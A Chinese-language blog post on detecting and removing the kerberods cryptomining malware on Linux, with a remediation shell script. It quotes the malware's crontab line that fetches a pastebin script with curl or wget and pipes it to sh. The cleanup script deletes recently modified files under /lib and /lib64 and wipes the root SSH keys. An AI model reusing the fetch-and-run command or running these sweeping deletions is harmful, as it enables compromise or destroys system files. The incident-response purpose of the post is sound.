一. 症狀及表現
CPU使用率異常高,外出流量異常
crontab異常,存在如下定時任務(基本上就可以確定了)
[root@mdw ~]# crontab -l
*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh
1
2
在以下目錄下存在異常文件
*注:ls top ps等命令已經被病毒的動態鏈接庫劫持,無法正常使用,大家需要下載busybox,具體的安裝和下載步驟將在後文提供。
[root@mdw ~]# busybox ls -a /tmp |grep ds
/tmp/kerberods
/tmp/khugepageds
[root@mdw ~]# busybox ls -a /usr/sbin |grep kerber
/usr/sbin/kerberods
[root@mdw ~]# busybox ls -a /etc |grep ld.so.preload
/etc/ld.so.preload
[root@mdw ~]# busybox ls -a /usr/local/lib |grep libcry
/usr/local/lib/libcryptod.so
1
2
3
4
5
6
7
8
9
存在以下異常進程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods'
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds'
1
2
存在以下異常開機項
/etc/rc.d/init.d/kerberods
/etc/init.d/netdns
1
2
常用命令動態鏈接庫被異常修改
[root@mdw ~]# ldd `whereis top |awk '{print $2}'` |grep usr
xxx
1
2
二. 查殺方法
先把方法放在前邊,後文將分析該病毒的處理邏輯、感染途徑和代碼分析
安裝busybox
#!/bin/bash
#獲取busybox安裝包,也可以其他機器下載後離線上傳到目標機器
wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2
#需要bzip2,要是機器沒有安裝的話
yum -y install bzip2
#或者離線安裝bzip2
#tar zxvf bzip2-1.0.6.tar.gz
#cd bzip2-1.0.6/
#make -f Makefile-libbz2_so
#make && make install
tar -xvf busybox-1.21.0.tar.bz2
cd ./busybox-1.21.0
make defconfig
#注意,這裏最好在相同操作系統的正常機器上進行靜態鏈接
#防止動態鏈接還被挖礦病毒的動態庫劫持,導致刪除文件不成功
#如果條件不允許,第二點將會重點說明
make
make install
ln -s `pwd`/busybox /usr/bin/busybox
busybox|grep BusyBox |grep v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
如果最終出現以下信息,證明安裝成功
BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary.
1
重要說明
注意,這些挖礦病毒都會賤兮兮的更改動態鏈接庫,如果安裝有vim等靜態鏈接的文件編輯工具工具,可以用vim打開下邊的文件,註釋掉裏邊的內容
[root@mdw ~]# vim /etc/ld.so.preload
1
查殺腳本
#!/bin/bash
#可以重複執行幾次,防止互相拉起導致刪除失敗
function installBusyBox(){
#參考第一段
busybox|grep BusyBox |grep v
}
function banHosts(){
#刪除免密認證,防止繼續通過ssh進行擴散,後續需自行恢復,可不執行
busybox echo "" > /root/.ssh/authorized_keys
busybox echo "" > /root/.ssh/id_rsa
busybox echo "" > /root/.ssh/id_rsa.pub
busybox echo "" > /root/.ssh/known_hosts
busybox echo "" > /root/.ssh/auth
#iptables -I INPUT -p tcp --dport 445 -j DROP
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
}
function fixCron(){
#修復crontab
busybox chattr -i /etc/cron.d/root 2>/dev/null
busybox rm -f /etc/cron.d/root
busybox chattr -i /var/spool/cron/root 2>/dev/null
busybox rm -f /var/spool/cron/root
busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
busybox rm -f /var/spool/cron/tomcat
busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -rf /var/spool/cron/tmp.*
busybox rm -rf /var/spool/cron/crontabs
busybox touch /var/spool/cron/root
busybox chattr +i /var/spool/cron/root
}
function killProcess(){
#修復異常進程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox rm -f /tmp/khugepageds
busybox rm -f /usr/sbin/kerberods
busybox rm -f /usr/sbin/kthrotlds
busybox rm -f /usr/sbin/kintegrityds
busybox rm -f /usr/sbin/kpsmouseds
busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
}
function clearLib(){
#修復動態庫
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox chattr -i /etc/ld.so.preload 2>/dev/null
busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
busybox rm -f /etc/ld.so.cache
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox rm -rf /usr/local/lib/libpamcd.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox touch /etc/ld.so.preload
busybox chattr +i /etc/ld.so.preload
ldconfig
}
function clearInit(){
#修復異常開機項
#chkconfig netdns off 2>/dev/null
#chkconfig –del netdns 2>/dev/null
#systemctl disable netdns 2>/dev/null
busybox rm -f /etc/rc.d/init.d/kerberods
busybox rm -f /etc/init.d/netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/rc.d/init.d/kpsmouseds
busybox rm -f /etc/rc.d/init.d/kintegrityds
#chkconfig watchdogs off 2>/dev/null
#chkconfig --del watchdogs 2>/dev/null
#chkconfig --del kworker 2>/dev/null
#chkconfig --del netdns 2>/dev/null
}
function recoverOk(){
service crond start
busybox sleep 3
busybox chattr -i /var/spool/cron/root
echo "OK,BETTER REBOOT YOUR DEVICE"
}
#先停止crontab服務
service crond stop
#防止病毒繼續擴散
banHosts
#清除lib劫持
clearLib
#修復crontab
fixCron
killProcess
clearLib
killProcess
#刪除異常開機項
clearInit
fixCron
recoverOk
三. 病毒分析
感染路徑
① ***者通過網絡進入第一臺被感染的機器(redis未認證漏洞、ssh密碼泄露登錄等)。
② 第一臺感染的機器會讀取known_hosts文件,遍歷ssh登錄,如果是做了免密登錄認證,則將直接進行橫向傳播。
主要模塊
主惡意程序:kerberods
惡意Hook庫:libcryptod.so libcryptod.c
挖礦程序:khugepageds
惡意腳本文件:netdns (用作kerberods的啓停等管理)
執行順序
① 執行惡意腳本下載命令:
(curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh
1
該下載後的腳本主要操作有
1> 將指令添加到crontab中
2> kill掉同類挖礦進程
3> kill掉高好資源的其他進程
4> 下載執行主惡意程序kerberods
5> 橫向ssh傳播
② 主進程操作
1> 添加至開機啓動
2> 生成了netdns文件
3> 將netdns文件設置爲開機啓動
4> 編譯libcryptod.c爲/usr/local/lib/libcryptod.so
5> 預加載動態鏈接庫,惡意hook關鍵系統操作函數
6> 修改/etc/cron.d/root文件,增加定時任務
7> 拉起khugepageds挖礦進程
四. 後續安全加固
SSH
① 謹慎做免密登錄
② 不使用默認的22端口
③ 禁止root登錄
Redis
① 增加授權認證(requirepass參數)
② 儘量使用docker版本(docker pull redis)
③ 隱藏重要的命令
五.參考
watchdogs挖礦病毒,感染分析及解決
挖礦病毒kerberods查殺及分析
原文:https://blog.csdn.net/u010457406/article/details/89328869